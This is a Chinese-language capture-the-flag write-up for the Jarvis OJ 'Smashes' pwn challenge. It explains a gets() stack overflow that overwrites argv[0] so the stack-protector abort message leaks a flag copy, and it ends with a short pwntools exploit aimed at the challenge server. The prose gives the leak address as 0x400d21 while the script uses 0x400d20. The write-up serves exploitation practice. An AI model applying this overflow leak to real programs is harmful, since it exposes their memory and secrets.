(Jarvis Oj)(Pwn) Smashes

(Jarvis Oj)(Pwn) Smashes

查看保护。打开了栈保护。看上去有点麻烦。
(Jarvis Oj)(Pwn) Smashes_第1张图片
再来分析下程序代码。如下是主要的函数体部分。
(Jarvis Oj)(Pwn) Smashes_第2张图片
这个函数首先让我们输入name字符串,通过gets()函数,是有溢出的,但是在输入过长的字符串时程序会abort。
(Jarvis Oj)(Pwn) Smashes_第3张图片
并且提示 ./smashes terminated 这里其实是ssp(Stack Smashing Protector)的提示信息,而./smashes 这里是main函数参数的argv[0],所以这个参数是在栈中的,又有gets()函数不检查字符串长短,通过覆盖到argv[0],就可以构造ssp leak达到任意地址读。接下来的问题就是如何定位到argv,以及泄露什么地方的内容。通过上面的函数,有个overwrite flag的操作,将600d20处的字符串给修改了,跟到这里。
这里写图片描述
发现了很像flag的字串,但服务器上肯定不是这串,既然flag就在程序中,那么泄露的内容就确定了,但是程序执行的过程中会把flag给修改了,这里有个小知识,当ELF文件比较小的时候,他的不同区段可能会被多次映射,也就是说flag可能有备份,gdb查找一下
(Jarvis Oj)(Pwn) Smashes_第4张图片
在0x400d21有一处备份,而且程序没有修改,所以我们要泄露的地址就是0x400d21。接下来就是计算padding,由于argv[0]一开始总是运行的程序名,所以先通过gdb查找文件名,在计算距离name变量即栈顶的距离。
(Jarvis Oj)(Pwn) Smashes_第5张图片
这里写图片描述

  1 from pwn import *
  2 #conn=process('./smashes')
  3 conn=remote("pwn.jarvisoj.com","9877")
  4 conn.recvuntil("name?");
  5 flag_addr=0x400d20                                                                                                 
  6 payload='a'*0x218+p64(flag_addr)
  7 conn.sendline(payload)
  8 conn.interactive()

你可能感兴趣的:(pwn)